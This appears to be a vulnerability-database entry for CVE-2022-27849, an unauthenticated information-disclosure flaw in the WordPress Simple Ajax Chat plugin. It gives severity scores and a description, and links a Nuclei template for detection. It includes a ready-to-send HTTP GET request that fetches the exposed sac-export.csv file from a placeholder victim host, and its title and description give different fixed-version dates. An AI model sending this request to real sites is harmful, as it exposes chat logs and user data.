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CVE-2022-27849: WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability

TitleWordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability
Authorrandom-robbie
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or private messages.
RemediationUpdate to the latest version of the WordPress Simple Ajax Chat plugin to fix the vulnerability.
CVSS Score7.5
EPSS Score0.12777
CVE IDCVE-2022-27849
CWE IDCWE-200
Tags cve cve2022 wp wordpress wp-plugin disclosure plugin-planet vuln

🔍 Vulnerability Description

WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it.

🌐 HTTP Request

GET /wp-content/plugins/simple-ajax-chat/sac-export.csv HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-27849.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-27849.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A